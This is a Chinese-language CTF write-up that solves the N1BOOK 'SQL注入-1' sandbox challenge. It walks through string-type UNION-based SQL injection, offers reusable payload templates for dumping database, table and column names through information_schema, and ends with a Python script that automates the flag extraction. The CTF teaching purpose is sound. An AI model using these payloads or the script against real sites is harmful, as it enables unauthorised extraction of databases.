Writeup 4 N1BOOK SQL注入-1

Writeup 4 N1BOOK SQL注入-1

题目来源:N1BOOK 第一章 Web 入门 · CTF 中的 SQL 注入 · SQL 注入-1

考点:字符型 SQL 注入 · UNION 联合查询 · information_schema 系统库

最终 Flag:n1book{union_select_is_so_cool}


一、题目信息

项目 内容
题目名称 SQL注入-1
平台 N1BOOK / CTFHub
方向 Web
考点 字符型注入、UNION 联合查询、information_schema
入口 http://challenge-xxxx.sandbox.ctfhub.com:10800/index.php?id=1

页面是一个简单的 notes 应用,URL 里带一个 id 参数,这是最典型的注入入口。


二、第一步:怎么判断是字符型还是数字型

2.1 两种注入的本质区别

后端 SQL 语句大概是两种写法:

数字型:

sql 复制代码
SELECT * FROM notes WHERE id = 1

这里 id=1 直接拼进去,没有引号包裹。

字符型:

sql 复制代码
SELECT * FROM notes WHERE id = '1'

这里 id=1 被单引号包裹,是字符串。

所以判断的核心就是:参数到底有没有被引号包裹?

2.2 最经典的判断方法:加单引号

测试 1:id=1

复制代码
http://.../index.php?id=1

页面正常显示笔记内容。这是基准。

测试 2:id=1'

复制代码
http://.../index.php?id=1'

我们手动加一个单引号,看看会发生什么。

  • 数字型 :SQL 变成 WHERE id = 1',单引号是多余的,SQL 语法错误,页面通常会报错或空白。
  • 字符型 :SQL 变成 WHERE id = '1'',单引号被闭合了,又多了个单引号,SQL 语法错误,页面报错或空白。

两种类型都会报错,所以光加单引号还不够,需要下一步。

测试 3:id=1' --+

复制代码
http://.../index.php?id=1' --+

--+ 是 SQL 注释符,把后面的内容注释掉。

  • 数字型 :SQL 变成 WHERE id = 1' --+,单引号还是多余的,语法错误,页面还是报错。
  • 字符型 :SQL 变成 WHERE id = '1' --+,单引号被闭合,后面被注释掉,语法正确,页面正常显示。

这一步就能区分了:

  • id=1' --+ 页面正常 → 字符型
  • id=1' --+ 页面还是报错 → 数字型

2.3 本题的实际测试结果

URL 页面表现 说明
id=1 正常显示笔记 基准
id=1' 内容为空,页面结构还在 单引号被代入 SQL,查询失败
id=1' --+ 正常显示笔记 注释符生效,确认是字符型
id=1'# 内容为空 # 被过滤或没生效

结论:字符型注入,闭合符是 ',注释符是 --+。

2.4 为什么 # 不行,--+ 可以

# 和 -- 都是 MySQL 注释符,但:

  • # 在 URL 里会被当成锚点,必须编码成 %23,否则浏览器不会发送
  • -- 后面必须跟一个空格或特殊字符 ,--+ 里的 + 在 URL 解码后就是空格,所以 --+ 等价于 --

所以 --+ 是最常用的注释符。

2.5 数字型的判断方法(补充)

如果 id=1' --+ 还是报错,说明是数字型。数字型不需要闭合引号,直接:

复制代码
id=1 and 1=1    → 正常
id=1 and 1=2    → 内容为空

两个页面有差异,就确认是数字型注入。

2.6 判断流程总结

复制代码
1. id=1              → 基准,正常
2. id=1'             → 报错/空白
3. id=1' --+         → 正常 → 字符型
                     → 报错 → 数字型
4. 数字型再测:id=1 and 1=1 / id=1 and 1=2

三、第二步:判断字段数

用 order by 判断查询结果有几列。

sql 复制代码
id=1' order by 3 --+   → 正常
id=1' order by 4 --+   → 内容为空
  • order by 3 正常 → 至少有 3 列
  • order by 4 报错 → 只有 3 列

结论:3 列。


四、第三步:找显位

用 union select 联合查询,把原查询结果置空(id=-1),看哪一列会显示在页面上。

sql 复制代码
id=-1' union select 1,2,3 --+

页面显示:

html 复制代码
<div class="header">2</div>
<p>3</p>

结论:第 2 列显示在 header,第 3 列显示在 <p>。


五、第四步:爆库名

sql 复制代码
id=-1' union select 1,database(),3 --+

结果:note


六、第五步:爆表名

sql 复制代码
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

结果:fl4g,notes


七、第六步:爆字段名

sql 复制代码
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g' --+

结果:fllllag


八、第七步:爆 Flag

sql 复制代码
id=-1' union select 1,2,group_concat(fllllag) from fl4g --+

结果:n1book{union_select_is_so_cool}


九、这类题目的通用套路

9.1 完整流程

复制代码
1. 判断注入类型    → 字符型 / 数字型
2. 判断字段数      → order by N
3. 找显位          → union select 1,2,3...
4. 爆库名          → database()
5. 爆表名          → information_schema.tables
6. 爆字段名        → information_schema.columns
7. 爆数据          → 直接查目标字段

9.2 万能 Payload 模板

sql 复制代码
-- 爆库名
-1' union select 1,database(),3 --+

-- 爆表名
-1' union select 1,2,group_concat(table_name)
from information_schema.tables
where table_schema=database() --+

-- 爆字段名
-1' union select 1,2,group_concat(column_name)
from information_schema.columns
where table_schema=database() and table_name='表名' --+

-- 爆数据
-1' union select 1,2,group_concat(字段名) from 表名 --+

9.3 关键函数

函数 作用
database() 当前数据库名
user() 当前数据库用户
version() 数据库版本
group_concat() 把多行结果拼成一行
information_schema.tables 系统表,存所有表名
information_schema.columns 系统表,存所有字段名

9.4 常见注释符

注释符 说明
--+ 最常用,+ 解码后是空格
# 需要 URL 编码成 %23
-- 后面必须跟空格,URL 里要编码成 --%20

十、踩坑记录

10.1 requests 二次编码

现象 :脚本用 requests.get(URL, params={"id": payload}) 时,--+ 被编码成 --%2B,注释符失效,页面空白(报错)。

原因 :requests 的 params 会对 + 编码成 %2B,MySQL 不认 --%2B 这个注释符。

解决 :手动拼接 URL,不经过 requests 的 params:

python 复制代码
url = f"{URL}?id={payload}"
r = requests.get(url, timeout=10)

10.2 # 注释符在 URL 里失效

现象 :id=1'# 页面内容为空(报错)。

原因 :# 在 URL 里是锚点,浏览器不会把它发给服务器。

解决 :用 %23 代替 #,或者直接用 --+。


十一、完整的爆破脚本

python 复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""N1BOOK SQL注入-1 自动化爆破脚本"""

import requests
import re

URL = "http://challenge-f66e3d0a792f67c5.sandbox.ctfhub.com:10800/index.php"


def inject(payload):
    url = f"{URL}?id={payload}"
    try:
        r = requests.get(url, timeout=10)
        header = re.search(r'<div class="header">\s*(.*?)\s*</div>', r.text, re.S)
        p = re.search(r'<p>(.*?)</p>', r.text, re.S)
        header_text = header.group(1).strip() if header else ""
        p_text = p.group(1).strip() if p else ""
        return header_text, p_text
    except Exception as e:
        print(f"[!] 请求异常: {e}")
        return "", ""


def main():
    print("=" * 60)
    print(" N1BOOK SQL注入-1 自动化爆破")
    print("=" * 60)

    print("\n[*] 正在爆库名...")
    header, p = inject("-1' union select 1,database(),3 --+")
    print(f"[+] 库名: {header}")

    print("\n[*] 正在爆表名...")
    header, p = inject(
        "-1' union select 1,2,group_concat(table_name) "
        "from information_schema.tables "
        "where table_schema=database() --+"
    )
    print(f"[+] 表名: {p}")

    print("\n[*] 正在爆 fl4g 表字段名...")
    header, p = inject(
        "-1' union select 1,2,group_concat(column_name) "
        "from information_schema.columns "
        "where table_schema=database() and table_name='fl4g' --+"
    )
    print(f"[+] 字段名: {p}")

    print("\n[*] 正在爆 flag...")
    header, p = inject(
        "-1' union select 1,2,group_concat(fllllag) from fl4g --+"
    )
    print(f"[+] Flag: {p}")


if __name__ == "__main__":
    main()

运行结果:

复制代码
C:\Users\Administrator\AppData\Local\Programs\Python\Python314\python.exe exp.py 
============================================================
 N1BOOK SQL注入-1 自动化爆破
============================================================

[*] 正在爆库名...
[+] 库名: note

[*] 正在爆表名...
[+] 表名: fl4g,notes

[*] 正在爆 fl4g 表字段名...
[+] 字段名: fllllag

[*] 正在爆 flag...
[+] Flag: n1book{union_select_is_so_cool}

进程已结束,退出代码为 0

十二、Flag

复制代码
n1book{union_select_is_so_cool}

十三、重点总结

判断字符型 vs 数字型,记住三句话

  1. id=1' 报错,id=1' --+ 正常 → 字符型
  2. id=1' --+ 还是报错 → 数字型
  3. 数字型用 id=1 and 1=1 / id=1 and 1=2 验证

解这类题的固定套路

复制代码
判断类型 → 判断列数 → 找显位 → 爆库 → 爆表 → 爆字段 → 爆数据

每一步都有对应的 Payload 模板,照着套就行。

最容易踩的坑

  1. 注释符 :优先用 --+,# 要编码成 %23
  2. requests 编码 :手动拼 URL,别用 params
  3. union select 列数:必须和原查询列数一致
  4. id=-1:让原查询结果为空,页面只显示注入内容

搞懂这套流程,以后遇到类似的 SQL 注入题,直接套模板就能解。

Rambo

2026年10月05日

🎉🎉🎉

相关推荐
hengdonghui1 天前
Writeup 4 红帽杯 2021 WebsiteManger
web·ctf·ssrf·sql布尔盲注
在猴站学算法3 天前
(SQL注入学习)无回显的报错注入(Error-Based)
学习·网络安全·sql注入·ctf竞赛
hengdonghui3 天前
Writeup 4 2020 - 之江杯 - 异常的流量分析
wireshark·ctf·流量分析
hengdonghui3 天前
Writeup 4 津门杯 2021 Web hate_php
php·web·ctf·通配符
hengdonghui3 天前
Writeup 4 红帽杯 2021 Web Find_It
web·ctf·备份文件泄露
hengdonghui4 天前
Writeup 4 强网杯 2019 强网先锋打野
ctf·misc·zsteg
hengdonghui4 天前
Writeup 4 NUAA 2017 robots
android·ctf·re
白帽攻防录5 天前
SRC 挖洞:Roundcube 预认证 SQL 注入深度复盘,CVE-2026-48842 preg_replace 转义绕过怎么打穿邮件系统
网络·数据库·sql·网络安全·sql注入
hengdonghui5 天前
Writeup 4 CSS CTF Semester 2 2026 - Lamp Drill
ctf·re